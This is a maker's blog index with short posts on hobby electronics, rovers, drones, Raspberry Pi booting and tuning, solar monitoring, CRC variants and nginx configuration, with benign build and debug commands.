Posts | Blue Duck Valley Rd

Ausdauer: mechanical assembly

Tue, 05 Jan 2021 20:50:15 +0100

And that’s the end of the mechanical assembly. The differential went on fine, and the epoxy is strong enough to hold in the insets. There’s one last thing - I missed the insets on the end of the differential arm, so those are glued and curing

Next is the electrical assembly. That’ll take a while as each cable will need to be cut and extended.

Ausdauer: assembled

Sat, 02 Jan 2021 17:17:27 +0100

I’ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!

The remaining steps are:

Epoxy the steering wheel and differential inserts in. I didn’t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.
Cut the grooves on the left hand side shafts.
Print the differential.

Ausdauer: left rocker/bogie assembly

Sun, 27 Dec 2020 18:35:54 +0100

I’m working on a build of the Sawppy rover. Today was a major milestone, as I finished assembling the left hand rocker/bogie assembly. This covers all of the major parts and techniques needed to build the rover, so the remaining work is to crank the handle and get the right side and box done.

There’s more information at the build log.

VE.Direct

Tue, 01 Dec 2020 19:44:20 +0100

I’ve released vedirect, a tool parses the Victron VE.Direct TEXT protocol and exports the metrics over Prometheus and MQTT. This can be used to monitor your solar installation and view statistics in tools like Grafana or Home Assistant.

See the README for more. I’m using this to monitor the solar system used to power my home server.

nppilot

Fri, 27 Nov 2020 17:23:01 +0100

I realized I haven’t posted about the current generation of nppilot, my never complete, often restarted rover project.

The current version is a modified Traxxas E-Revo 1/16:

Under the hood this is:

A Revo controller running ROSflight for control and sensors.
A Raspberry Pi 3 running ROS for command and telemetry.

The frame is laser cut MDF with 3D printed mounts and risers.

It works well, but winter came before I made much progress on the control. The goal is for the Pi to do the planning using the GPS and a map of the local area, and to see how fast it can complete the course.

Reducing disk IO

Thu, 26 Nov 2020 00:02:42 +0200

I’m using a Raspberry Pi 4 with a USB3 based SSD to host this website and other services, and as a side effect the lounge looks like a disco due to all the flashing activity LEDs.

The machine should be fairly idle so I went looking for where the disk activity was coming from.

Running iotop -a and looking at the writes shows that mysql (aka MariaDB) is by far the heaviest writer.

Looking at the metrics recorded by the Prometheus mysqld_exporter:

delta(mysql_global_status_commands_total[1h])

gives:

which is dominated by inserts.

Dropping to the mysql command line and running:

SELECT table_name, table_rows from
INFORMATION_SCHEMA.TABLES ORDER BY table_rows DESC LIMIT 20;

gives:

table_name	table_rows
events	1731748
states	1577498
oc_filecache	26239
notice	23483

The events and states tables are part of my HomeAssistant installation. Reading the docs shows that the recorder commits every second and changing this to 5m using:

recorder:
  db_url: mysql+pymysql://hass:....@db/hass?charset=utf8
  commit_interval: 300

fixes the problem. This reduces the write rate from 680 KiB/s to ~95 KiB/s:

and cuts the I/O seconds per second:

and makes the lounge much less blinky, yay!

Solar at home

Thu, 19 Nov 2020 00:00:00 +0200

For the last month or so I’ve been working on making my home server (which also hosts this blog!) solar powered. It’s pointless but entertaining, and this is a first of a series of posts about what I learned on the way.

The summary is that a 55 W panel with 200 Wh of battery is enough to power a Raspberry Pi 4 with SSD during the European winter. You still need a mains power fallback, as a couple of days of grey weather will deplete the battery.

The last 7d have been fairly sunny:

This graph shows the power generated over a 16h window, so the peaks are the total generation for that day. Total for the week was 741 Wh or $0.15.

Vouch for authentication

Fri, 09 Oct 2020 00:02:42 +0200

I’ve started using Vouch for SSO to my personal site. Quite happy with the experience - it integrates well with Nginx, was straight forward to setup, and is straight forward to enable for different paths on the site.

Propeller adapter

Fri, 04 Sep 2020 00:02:42 +0200

A nice thing about having a 3D printer is quick fixes to small things. The 8x4 propeller that came with my Bixler 3 was loose on the motor shaft, so I 3D printed an adapter:

It took 5 minutes to print and three tries to get the tolerances right, but the propeller is now a good fit, much quieter, and seems more powerful. Yay!

Bixler 3 Drone

Sat, 29 Aug 2020 00:02:42 +0200

I recently purchased a HobbyKing Bixler 3 to use as a autopilot platform and am pretty happy with how it turned out. Both the under wing area and nose area have plenty of room and could easily fit a Pixhawk 4 Mini with GPS and telemetry.

I prefer the Pixhawk 4 Mini over the older Pixfalcon for a few reasons:

the servo connectors are built-in to the module
the safety switch is built-in to the GPS
two of the four sides are connector free, making it easier to route

I ended up putting the power distribution board in the under wing area and 3D printing a hatch to hold everything else:

The hatch is held on by the front tongue and 2x magnets. The autopilot, telemetry, and RX are on the bottom of the hatch and the GPS on top:

The plane flew just fine in stabilised and hold mode with the default PX4 aircraft turnings. I was a bit surprised by how PX4 handles a strong headwind - if the plane can’t make progress in hold mode at the cruise throttle then it gives up and switches back to stabilised mode.

Once the weather clears up I hope to do some waypoint tests. I’d also like to find a quieter propeller. The stock is fine, but it’s slightly unbalanced and could be much quieter.

Pan/tilt mount for a cell phone

Sat, 23 May 2020 00:00:00 +0200

I think it’s important to also post about the projects that didn’t turn out. Pudel was a project to automatically track and video a model plane using a cell phone camera.

The pan and tilt components were modeled in OpenSCAD and 3D printed. The pan unit had a standard 1/4-20 tripod mount and the tilt unit had a Samsung A40 mount that I’ve used on a few other projects.

Both were driven by standard HS-422 servos with a Trinket M0 for I/O and a 2S LiPo through a 6V BEC for power.

The I/O board ran CircuitPython with custom firmware that takes MIDI-like messages as servo commands. It implemented an acceleration limiter and velocity limiter to limit the jerk, as the servos are capable of 60 deg/0.2 s which is much faster than the plane would move.

The host side was going to be similar to Kieferbot and use ROS with an IO specific node, OpenCV based detection, and a PID controller to keep the plane centered in the frame.

So why did it fail?

The servos aren’t intended for precise, slow movement and hence had mild jerk.
There was too much slack in the mechanics, and the phone was mildly heavy, so mild jerk caused the phone to move about too much.
The plane is too small to resolve on a wide angle lens, so tracking was unlikely to work.

If I wanted to take it further, I can imagine some improvements:

Take the load off the pan servo. The tilt unit sits directly on top of the pan servo shaft and there’s not much material to sit on which increased the shake. Perhaps add a turntable style plates that most of the downwards force could go through.
Decrease the arm length out to the phone. It’s 30 mm and reducing to 20 mm would reduce the load on the tilt servo.
Try a phone with optical stabilization.

Tracking using a camera

Sun, 19 Apr 2020 00:00:00 +0200

Here’s Kieferbot being tracked through a camera:

It took a few iterations but I settled on matching the colour of the floor to create a floor mask, then findCountours to find the contours as a tree, and then searching the children of the root contours. As the bot is black, the children were matched against a ‘black pixels’ mask, and the contour with the most black pixels picked.

The camera is an Android phone running IP Webcam and sharing the back camera as MJPEG over HTTP over Wifi at 10 FPS. It could be higher, but the laptop doing the image processing has trouble keeping up with 30 FPS. The latency looks good - visually less than 200 ms.

The tracking seems reliable. If the bot goes off the bottom of the frame then other black areas are picked, but this can be detected by checking for a jump in position.

Next step is to integrate the camera position, phone sensors, and wheel velocity to get a controllable position.

Self-contained and smoke

Sat, 11 Apr 2020 00:00:00 +0200

A day of highs and lows. Here’s Kieferbot still in teleop mode but now self contained:

The PinePhone is taking commands from a PS4 DualShock over Bluetooth using ds4drv and sending them to the IO board over serial. I experimented with a few transports:

UDP over Wifi was fine, but the default ESP32 Wifi power mode added random latency of up to 100 ms. Switching to ‘always on’ mode by modifying MicroPython fixed this.
Bluetooth Low Energy worked for one-way communication to the IO board, but there was lots of packet loss when using Bluetooth for both the joystick and IO.

Inspired by Firmata, I settled on MIDI over serial. I quite like the MIDI format for short messages. A frame starts with the command followed by a command specific payload. The command has the MSB set so it’s simple to frame.

I also compiled ROS Kinetic for Debian Buster and created an IO node that takes left and right velocity commands. There seems to be an ordering issue with either the ESP32 PWM chip or the FIT0441 controller, where going from forward to reverse and vice-versa is fine but the motor won’t start sometimes when going from zero.

So plenty of highs, but the low was releasing the smoke - I’m using a LiPo battery for the supply and something short-circuited when unplugging the battery. It seems to have taken out the regulator and the ESP32 flash.

Next step is to re-make the IO board using an ItsyBitsy M4. It also runs MicroPython so the IO software was easy to port. I’ve ordered some Seeed XIAO boards - $5 gives you a MicroPython compatible SAMD21 with 9 pins of IO which is enough for this project.

This time I’ll secure the battery socket better and 3D print a shield.

Teleop

Sun, 22 Mar 2020 00:00:00 +0200

As a winter project, I’m turning my PinePhone into an indoor robot. The Pinephone has everything needed for a decent stand-alone robot: plenty of CPU, a camera, gyro/accelerometor/compass, display, and it can run Debian.

Below is a video of the hardware in teleop mode. A Lolin32 ESP32 running MicroPython takes commands over Bluetooth LE and sends PWM and direction signals to the FIT0441 motors. The frame is 3D printed.

Currently the phone is just a passenger. The next step is to get the phone to communicate with the IO board.

Bare metal Raspberry Pi Zero

Sun, 09 Feb 2020 00:02:42 +0200

These are short notes on loading baremetal software on the Raspberry Pi Zero. I started down this path due to wanting to learn Rust, which lead to Tock which is an embedded operating system in Rust. Rather than buy yet another piece of hardware I though I’d use one of my 5 (!) Raspberry Pi Zeros as a development board instead. It’s just another microcontroller, just one that runs at 1 GHz and has a ton of RAM…

Console

See https://pinout.xyz/pinout/uart for the UART pins. Note that on Linux you need to add enable_uart=1 to boot/config.txt.

Connect to a USB –> Serial adapter and launch a console at 11500 baud.

Examples

See dwelch’s bare metal examples. Note that every Pi model has different things on different pins so use the examples from boards/pizero.

Loading

The Pi Zero can boot over USB from a host machine without needing a SD card. This greatly reduces the build/debug cycle. To do this:

Fetch bootcode.bin and start.elf from the firmware repo.
Fetch the usbboot repo and build.
Copy the .bin file to kernel.img
Run sudo rpiboot -d .
Unplug / plug the board

A fully worked example is:

$ git clone --depth 1 https://github.com/raspberrypi/firmware
Cloning into 'firmware'...
$ mkdir boot
$ cp firmware/boot/bootcode.bin firmware/boot/start.elf boot/

$ git clone https://github.com/raspberrypi/usbboot.git
Cloning into 'usbboot'...
$ make -C usbboot/

$ git clone https://github.com/dwelch67/raspberrypi.git
$ make -C raspberrypi/boards/pizero/uart02/
$ cp raspberrypi/boards/pizero/uart02/uart02.bin boot/kernel.img

$ sudo ./usbboot/rpiboot -d boot
Waiting for BCM2835/6/7/2711...
Sending bootcode.bin
Successful read 4 bytes
Waiting for BCM2835/6/7/2711...
Second stage boot server
File read: start.elf
File read: kernel.img
Second stage boot server done

JTAG

Add enable_jtag_gpio=1 to boot/config.txt
Wire up using https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857
Use the raspberry.cfg from https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/
Run openocd using openocd -f interface/jlink.cfg -f ./raspberry.cfg
Run gdb-multiarch against the corresponding ELF file

giving:

$ sudo openocd -f interface/jlink.cfg -f ./raspberry.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.org/doc/doxygen/bugs.html
adapter speed: 100 kHz
adapter_nsrst_delay: 400
none separate
Info : auto-selecting first available session transport "jtag". To override use 'transport select <transport>'.
Info : No device selected, using first device.
Info : J-Link ARM V8 compiled Nov 28 2014 13:44:46
Info : Hardware version: 8.00
Info : VTarget = 3.287 V
Info : clock speed 100 kHz
Info : JTAG tap: rspi.arm tap/device found: 0x07b7617f (mfg: 0x0bf (Broadcom), part: 0x7b76, ver: 0x0)
Info : found ARM1176
Info : rspi.arm: hardware has 6 breakpoints, 2 watchpoints

Note that the ARM CPU needs to be running some code for the JTAG to connect.

ESPHome as a Ruuvi bridge

Sat, 01 Feb 2020 00:02:42 +0200

ESPHome is a framework for building custom home automation that runs on an ESP8266 or ESP32. It’s pretty cool - you select and configure components by writing a YAML file, which then drives host side Python snippets to configure and bind the device side code, which is then built and pushed using PlatformIO.

Some nice touches:

It integrates with Home Assistant and has automatic discovery
It can drive displays, including rendering TTF files host side to give nice fonts device side
It looks reasonably composable so, for example, you can have multiple Bluetooth broadcast parsers

I used this to bridge between Ruuvi tags and my Home Assistant instance. Home Assistant then re-exports everything to Prometheus.

It also gave me a reason to break out the 3D printer and make a case for the ESP-WROOM-32 based Lolin32:

Android phone as an alarm clock

Sat, 20 Oct 2018 00:02:42 +0200

My son wanted to get an alarm clock for his room which preferably plays MP3s. MP3 players are surprisingly expensive at 40 CHF for a 4 GiB model so I picked up a used Moto E 2nd gen phone for 35 GBP, loaded a stripped down version of Lineage OS on it, and designed a 3D printed a stand:

I’m quite happy with how it turned out. The phone is just an alarm clock and MP3 player as the other apps are either not installed or (like the Play Store) behind Lineage’s protected app feature. This gives ~5 GiB of free storage for songs. The battery lasts for >= 5d as well.

I’ll do one more revision to build a right angle USB cable into the base for easy charging.

ST Link v2 clone as a dev board

Thu, 04 Jan 2018 17:22:05 +0100

I got distracted and had a hack on using a STL Link v2 clone as a development board. There’s a lot to like:

A Cortex-M3 STM32F103C8T processor with 64 KiB of flash and 20 KiB of RAM
4 I/O lines and a LED to blink
Decent support in STM32duino with a DFU bootloader
Comes in a case and plugs directly into a USB port
~$2/each

The I/O is strange and limited but it’s enough to drive a RGB LED via PWM, drive a 40 RGB LED pHAT over SPI, and drive a 320x240 LCD over fast bitbanged SPI.

I won’t continue with this though. The I/O is too limited and a Blue Pill is the same price sans case.

SDHC over SPI performance

Fri, 29 Dec 2017 15:23:56 +0100

I’m hacking on adding SDHC over SPI block device support to the Zephyr Project RTOS.

I’m currently getting 224 KiB/s on an Arduino Zero with a 4 MHz bus and 1 KiB read size, which is an OK-ish 46 % of the top bus capacity.

Here’s where the time goes:

4550 us - total time to read 2x 512 byte blocks from the card
80 us - time spent in ELM FS (impressive!) and timing code
330 us - time for the no-name SD card to make the sector ready
1500 us - time to transfer 512 bytes over SPI
330 us - time to calculate the CRC to check the sector

The SPI transfer itself is done in bursts of 16 bytes (~32 us) and the SPI driver has a turn-around time of 16 us.

Turning that into percentages,

4 % is in core code
15 % is in the SD card
67 % is in the SPI transfer
15 % is in the CRC

The next steps are to optimise the SPI driver and use the hardware CRC unit. That could bring the time per block down to (80 + 330 + 1000 + 100) = ~1500 us and the transfer rate up to 332 KiB/s / 67 % utilisation.

The many different CRC16-CCITTs

Mon, 27 Nov 2017 20:24:30 +0100

I’m hacking on adding Arduino Zero support to the Zephyr Project at the moment. I had a look at speeding up crc16_ccitt() but ran into a problem: there’s so many variants of CRC16-CCITT to choose from!

Zephyr uses CRC-16/AUG-CCITT which is equivalent to CRC-16/CCITT-FALSE with two zero bytes prepended. The effective seed is 0x1d0f and test vector output is 0xe5cc.
Mynewt uses CRC-16/XMODEM. The seed is 0 and test vector output is 0x31c3.
Contiki uses CRC-16/CCITT. The seed is 0, input and output are bit reversed, and test vector output is 0x2189.
Linux uses CRC-16/MCRF4XX. The seed is 0xffff, input and output are bit reversed, and the test vector output is 0x6f91.
The Arduino Zero’s SAMD21 uses CRC-16/CCITT as per Contiki.

Contiki, Linux, and the SAMD21 are the same except for the seed. Zephyr is close, but you need to modify the seed to account for the padding. Mynewt is the outlier as all others reverse the input and output.

See http://reveng.sourceforge.net/crc-catalogue/16.htm for a catalogue.

OpenOCD with the ST-Link v2

Mon, 09 Oct 2017 20:28:54 +0200

There is an issue when trying to program a SAMD21 like in the Arduino Zero using OpenOCD with a ST-Link v2 which gives errors like this:

** Programming Started **
auto erase enabled
Info : SAMD MCU: SAMD21E18A (256KB Flash, 32KB RAM)
Error: Failed to erase row containing 00000000
Error: SAMD: failed to erase sector 0
Error: failed erasing sectors 0 to 0

The issue is that NVMCTRL_CTRLA is a half-word register and the ST-Link v2 emulates the half word write using two single byte writes.

The hack-around is to change to a word write:

diff --git a/src/flash/nor/at91samd.c b/src/flash/nor/at91samd.c
index 2673b0ee..f060bceb 100644
--- a/src/flash/nor/at91samd.c
+++ b/src/flash/nor/at91samd.c
@@ -472,7 +472,7 @@ static int samd_issue_nvmctrl_command(struct target *target, uint16_t cmd)
        }

        /* Issue the NVM command */
-       res = target_write_u16(target,
+       res = target_write_u32(target,
                        SAMD_NVMCTRL + SAMD_NVMCTRL_CTRLA, SAMD_NVM_CMD(cmd));
        if (res != ERROR_OK)
                return res;

See https://sourceforge.net/p/openocd/mailman/message/34565277/ for more.

SAMD21E18 PCB

Mon, 02 Oct 2017 19:31:48 +0200

In follow up to my mysensors.org build, I’ve always wanted to design PCB and try my hand at SMD soldering. I normally use veroboard on a 0.1” pitch but the time to cut and solder wires makes for a slow build. Here’s the result:

It has:

An AT91SAMD21E18 (256 KiB flash, 32 pins, 0.8 mm pitch)
USB, regulator, Cortex SWD debug header, LED, and pullups on I2C
Footprint for a RFM69CW radio
Adafruit Feather form factor
Two layer PCB with 0603 passives

The soldering turned out well. I mainly used the used the tin/remove-excess-with-solderwick method and a heatgun for the USB socket. For the CPU tinning and then pressing down on the pins with the tip of the iron worked well.

Changes for the next version would be:

Add a ~10 k pullup to RST
Move the LED to PA17 to match the Zero
Reduce the LED current limit resistor to 1k from 2k2
Put footprints on the bottom of the board for a Si7021 and/or a 25FL064+

MySensors

Mon, 02 Oct 2017 19:27:58 +0200

It gets warm and humid here in the summer and feels too dry in the winter. To measure this I built up two MySensors Sensebender Micro boards and designed a 3D printed a case to go with them:

The holes in the case are to save on print time and let the air flow. The battery is far oversized and probably self discharges faster than the board draws current.

I ended up using a Raspberry Pi Zero with a RFM69HW as the gateway. It’s connected as a Ethernet gadget to my home server which lets everything run over IP while using a single cable for power and data.

Adventures in making PCBs

Mon, 11 Sep 2017 11:09:18 +0200

As part of adding MySensors based sensors around the house, I want to make an integrated version of the Sensebender Micro upgraded with a SAMD21 and a RFM69HCW radio. I’ve never had much success with making PCBs at home, so I thought I’d give it another try and record the experiments.

Try 1: HP M252dw, laminator @ 10 mm, 4 times through, Migros-brand T-Shirt transfer paper. Some transfer but lots left behind. Tape melted with heat? Learn: rotate image to make better use of paper. Transfer paper goes hatches down in paper tray.

Try 2: HP, iron, transfer paper. Iron: max temp, no steam, 30s in place, 2m total. Too much movement, smeared. Transfer paper has a sticky layer (by design?) which melted. Lesson: T-shirt transfer paper is not usable.

Try 3: HP, iron, glossy IKEA catalog pages. Iron: as #2. Paper reports as jammed.

Try 4: HP, iron, HP Q5451A photo paper. I wrapped the paper around the PCB, which makes it rise. Paper sticks to the iron when heated. Result: little toner transferred.

Try 4: Samsung, iron, HP Q4551A photo paper. Result: little toner transferred.

Try 5: PCB coated with blue spray paint, 40W laser to remove the paint. Result: a thin film is left on the copper. Trying to remove the film also removes the paint. Too higher power also shrinks the tracks. Result is insensitive to power level so lower is better.

So, no luck yet. I’ve ordered some PCBfx toner transfer paper and TRF foil. I’ve also ordered a small batch from Dirty PCBs to see what the turn around time is like. It may be worth it for the detail and lack of mess.

juju.net.nz/michaelh on IPFS

Sun, 09 Jul 2017 15:01:26 +0200

The short story is that this blog is now available on IPFS at https://juju.net.nz/ipns/juju.net.nz/michaelh/ and https://gateway.ipfs.io/ipns/juju.net.nz/michaelh/

This is done by generating the blog a second time with ipfs/ as the basepath, changing to relative links, and then adding and updating the name as part of the buildbot script. Hugo has relative and canonical link support but it seems inconsistent, and it’s hard to resist a sed script…

I quite like how you can map ownership across DNS and IPFS using a TXT record.

Raspberry Pi Zero boot speed

Sun, 02 Jul 2017 11:46:07 +0200

I enjoy working on embedded systems, but there’s a significant amount of work you have to do in getting the platform ready before getting to the more interesting business logic. The Raspberry Pi Zero W solves most of these problems: it’s small, has decent I/O, a decent price ($10 + $6 for storage + $4 for shipping) and runs full Linux so I can use my current language of choice.

One problem is boot speed. It’s common to power cycle an embedded project so a long boot time slows down the build/test cycle. A long boot time can also affect the safety of the system.

Because of this, I had a hack on the Raspbian boot time. The .target units are boot milestones such as basics ready, filesystem ready, and networking ready. systemd-analyze plot shows where the time went and what was running in parallel such as:

$ grep target boot-2.svg
<text class="left" x="390.802" y="94.000">remote-fs-pre.target</text>
<text class="left" x="391.128" y="114.000">cryptsetup.target</text>

As a bonus, the x attribute is the time in centi-seconds the span started which makes it easer to measure.

The biggest savings were through disabling unneeded services and switching from /etc/init.d/networking to systemd-networkd. The final boot order was:

giving:

2.70 s before userspace.
3.91 s is the earliest a no-dependency service can start. Useful for any safety response.
7.42 s to local-fs: filesystem is up and usable
7.94 s to basic
17.8 s to network up. Includes the wifi and DHCP time so network dependent.

Moving from ext4 to f2fs made no difference. There’s probably another 1 s to be saved through shrinking the kernel and, say, moving USB to a module so it can init later.

Update

I switched to a custom kernel with no printk() and USB as a module. I also switched from the Debian services to things like systemd-timesyncd and disabling the Debian dhcpcd. Times now are:

0.80 s before userspace.
1.70 s is the earliest a no-dependency service can start. Useful for any safety response.
5.11 s to local-fs: filesystem is up and usable
5.88 s to basic
7.03 s to network - although it’s hard to tell if the network is up

cxx17: working through Cracking the Coding Interview

Tue, 27 Jun 2017 22:02:42 +0200

I’m working my way through Cracking the Coding Interview as a way of learning the new features and tool ecosystem of C++17.

Q1.9 reminded me of those games where you need to make a shape by drawing straight lines through dots. The trick with those games is to realise that you can draw outside the (implicit) bounds of the dots themselves. For Q1.9, the trick is to realise that you can concat the test string as any rotation will be a substring of the repeated string.

I’m quite happy with the expressiveness of C++17 (with ranges-v3) so far. The solution to Q1.9 looks like:

return (lhs + lhs).find(rhs) != std::string::npos;

which is very Pythonic.

go packages on your own domain

Sun, 16 Apr 2017 21:00:59 +0200

go get has a nice feature where it will fetch the package URL and, based on a meta tag, redirect to the actual location.

Here’s the nginx config I use to redirect go get juju.net.nz/x/package to either my private repo (for unreleased stuff) or my cgit instance for everything else. This is similar to how golang.org/x/... and gobot.io/x/... operate.

server {
        ...
        location ~ /x/(.*) {
                if (-d /home/juju/p/git/$1.git) {
                        return 200 '<meta name="go-import" content="$host$uri git ssh://juju@$host/~juju/p/git/$1.git">\n';
                }
                if (-d /home/juju/git/$1.git) {
                        return 200 '<meta name="go-import" content="$host$uri git $scheme://$host/src/$1.git">\n';
                }
                return 404;
        }
}

As a bonus this means I could, say, shift the code to github without breaking existing code.

DFRobot FIT0441 pinout

Fri, 25 Nov 2016 21:25:00 +0000

I ordered two FIT0441 brushless motors for use in v2 of my balancing robot. The DFRobot wiki page on the motor is incorrect so I thought I’d blog about it so someone else can find it 🙂

The motor comes with a 5 pin JST-SH cable with a white end and a black end. The white end goes to the motor. When looking from the back of the motor with the socket at the 6 o’clock position, the wires are:

Blue (left most): PWM. Take to GND for full speed.
Black: GND / Supply negative
Yellow: Direction
Green: encoder output. ~680 Hz at full speed
Red (right most): 12V

Note that the black end has a completely different order.

To make the motor spin, connect 12V to Black and Red and short Blue to GND. To make it spin in the opposite direction, short Yellow to GND.

ESP8266 IO bridge

Sun, 23 Oct 2016 18:58:04 +0000

github.com/eriksl/esp8266-universal-io-bridge looks cool – it exposes the I/O of a ESP8266 wifi module including the GPIO, I2C, PWM, ADC, and UART via a line based telnet interface.

A toy PL/0 compiler

Thu, 25 Aug 2016 19:54:44 +0000

I’ve released a toy compiler for the PL/0 educational language at https://juju.net.nz/src/cgit.cgi/pl0.git/ or https://github.com/nzmichaelh/pl0.

I did this as, despite working with compilers for a fair part of my life, I’d never written one from scratch. I chose PL/0 as it was designed by a local legend, Niklaus Wirth, who is also the creator of Pascal and Modula-2.

Maker Faire Bodensee

Sun, 26 Jun 2016 10:15:44 +0000

We went to Maker Faire Bodensee on the weekend. The kids spent so much time with Paula Pongratz’s Post-apocalyptic jewlery that they missed most of the rest (heh).

Other standouts were the breadboard / pus pin based electronic organ from [

Elektronikmuseum Tettnang] 3 and the marshmallow building challenge by Toolbox BODENSEE. I also want to have a look into the Minecraft smart-home, Nodebots, and Freifunk.

Sending music over light

Sun, 17 Apr 2016 15:20:43 +0000

Someone recently mentioned that you can ‘hear’ a TV remote control by hooking a solar panel to a speaker and pointing the remote at it. It was a rainy weekend this weekend, so my son and I gave it a go:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/VID-20160417-162947-3.m4v

The circuit is simple: a solar panel from a toy, a ~1 Hz RC highpass filter to get rid of the DC component, and an amplified speaker for the output. The noise is the code that the remote is sending to the TV which is roughly 700 Hz for one remote and 400 Hz for the other.

The next step is to see if you can send music over light. With a bit more circuitry, you can:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/04/Sending-music-over-light-1.m4v

I used a LM386 to bias the LED to be normally on. The bias is set by a potentiometer on one of the differential inputs with the MP3 player on the other. Setting the bias too high or too low causes clipping due to the LED turning off or the amplifier hitting the 5 V supply rail. It sounds really good – well, at least as the small speaker lets it.

Web connected NeoPixel ring

Sun, 07 Feb 2016 16:04:36 +0000

It’s taken a while (as you can tell from the date on the box), but here’s my web connected NeoPixel ring:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v

Chroma trail: a comet with a trail that cycles through the colours of the rainbow.

I had to turn the brightness down so the camera didn’t saturate, as you can see in the next one:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4

Raindrops: randomly coloured drops that fade away.

This is a WRTnode board running a Python server. The patterns are loadable Python code. For a limited time, the server is available here. Try /pattern for a list, and /pattern/name/run to run one.

Fading text on an OLED screen

Thu, 04 Feb 2016 21:18:10 +0000

Here’s my hack of the moment: text fading in on a OLIMEX 128×64 OLED display. The interesting bit is that this is a TTF font which is rendered by SDL2 into a buffer, dithered into black and white using Floyd-Steinberg error diffusion, and then written out using the Intel IoT upm display driver. Optimizing the bulk write routine got the frame rate up from ~4 FPS to ~15 FPS.

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4

Adding buttons on the Linkit Smart

Sun, 10 Jan 2016 20:25:58 +0000

Here’s what I found out while trying to add buttons to the OpenWrt based Linkit Smart.

The flow is:

Keys are defined in target/linux/ramips/dts/LINKIT7688.dts

gpio-button-hotplug emulates gpio-keys-polled and generates uevents.

The uevent is received onver netlink by procd in plug/hotplug.c

The event is dispatched via /etc/hotplug.json
- The standard dispatch rule calls /etc/rc.buttons/$BUTTON
The DTS fragment is:
```
gpio-keys-polled {
```

… btn2 { label = “btn2”; gpios = <�gpio0 2 1>; linux,code = <0x102>; };

where the `<&#038;gpio0 2 1>` picks the second pin from the zeroth port i.e. GPIO 2 and

maps it to BTN_2. See [`uapi/linux/input.h`][6] for the other key codes.
                
gpio-button-hotplug supports a limited number of keys. See the source for the

current list, which is `BTN_0` to `BTN_9`, `power`, `reset`, `rfkill`, `wps`, and `wwan`.
                
Also, the LinkIt uses a binary wifi driver which seems to be _very_ sensitive to

the kernel version. I ended up reverting [`363508bcabd8e9205f5fffc8ff282439e61d618f`][7]

to bring OpenWrt back to 3.18.21 to stop it crashing when the interface comes up.

Hack of the day: scrolling text

Sun, 03 Jan 2016 19:04:36 +0000

I did a quick hack today and wrote a scrolling text app for an Adafruit 8×8 LED display I had lying about:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4

The app is written in C++ using the Intel mraa I/O library (which looks pretty good) and running on a WRTNODE MIPS dev board with OpenWrt. The interesting bit is the text rendering: I started with a 6×8 bitmap font then added automatic width detection, blitting for rendering to the buffer, and blitting for rendering a scrolling window on the buffer to the display.

The next step is to add a web app so you can post messages from the Internet. What could go wrong?

The Boost libraries

Fri, 01 Jan 2016 21:11:01 +0000

I’ve been hacking on a personal project to make it easier to expose HTTP based devices that are behind a restrictive NAT or firewall. The code needs to run on a OpenWrt based MIPS board 1 which limits my language choice – Python3 is out as it’s too big, and Go on MIPS32 via gccgo on OpenWrt is… tricky 2.

I ended up writing the app in C++ and I’ve been quite impressed with C++14 and the Boost libraries. Especially:

boost::optional for covering the optional results without having to use tricks like err == -1 or result == nullptr.
- boost::algorithm::string for string splitting and trimming.
  - boost::asio for all of your event or blocking based network programming needs.
    - boost::program_options for command line option parsing and validation.
      - boost::asio::coroutine for a very readable implementation of Duff device based coroutines.
        
        std::unique_ptr / std::shared_ptr for sane memory management.
        Generous use of auto, lambdas, and using keep the code reasonably terse as well.
        
        1 I also have two of the $12.90 LinkIt Smart 7688 boards on their way. A good price for a 580 MHz Linux CPU on a DIP carrier with Wifi, RAM, and 32 MiB of flash.
        
        2 gccgo enables libffi, which assumes floating point registers, but the OpenWrt kernel turns off FP emulation by default and enforces it through binutils flags.

Serial to NeoPixel bridge

Sun, 25 Oct 2015 20:55:15 +0000

I’m hacking on a project to hook a NeoPixel ring up to the internet. I don’t have a good reason why, but it’s a good excuse to work with OpenWrt, TURN servers, and some blinking lights.

NeoPixels are fairly hard to drive as they use a single wire, 800 kHz, non-return-to-zero protocol which needs precise timing. I decided to push the problem off into a

Olimex ATTINY85 board that takes serial data on one side and updates the ring on the other.

Here’s a video of a two chasers with a little bit of tail blur. The main loop is written in Python, which renders the chasers and writes them out at 57600 baud:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4

Next step is to get approval to release the source code.

Z-84 flying wing

Sat, 03 Oct 2015 15:49:55 +0000

Hobbyking had a free shipping promotion recently, so I picked up a Wing Wing Z-84 flying wing like all the cool kids have.

It’s quite fun if a bit noisy. The 1500 mAh 2S batter lasts 15 minutes, which is crazy long, and it’s quite interesting how a pusher propeller changes climbs and loops – you need momentum as there’s no propeller to caster under.

Next step is to change the motor controller for the one that the PX4 team recommends and have a look for a quieter prop.

No luck on flying

Sun, 30 Aug 2015 11:09:30 +0000

Looks like the plane is too heavy. It took off OK on the first try, but I couldn’t get it to lift on five goes past that. The first flight was probably due to the little bit of extra voltage a freshly charged battery has.

I did some measurements and the plane with autopilot is 1130 g, which is 255 g / 30 % higher than the design flying weight of 875 g. 110 g of that is in the MDF plate and 50 g is in my usual higher capacity batteries.

Next step is to redo the plate in polystyrene. I’m tempted to follow Z-8’s instructions and change the prop to a APC 10×7 E and upgrade the motor to a Super Tigre .10. The Super Tigre has a higher constant power (320 W vs 210 W), is a drop in replacement, and as a bonus saves 50 g.

Edit: annnd I crashed it 🙂 I fitted a 10×7 prop and new receiver and got the elevator direction wrong. The good news is the 10×7 makes the plane leap away. The bad news is it lept away into the ground…

Trojan+PX4 ready to fly

Fri, 28 Aug 2015 19:06:27 +0000

I picked up yet another board to try in my never-complete car autopilot project. This time it’s a Pixhawk PX4 (from ETH here in Zurich, woo!) with a FrSky PPM receiver, u-blox GPS, and 433 MHz telemetry mounted on my trusty P-28 Trojan.

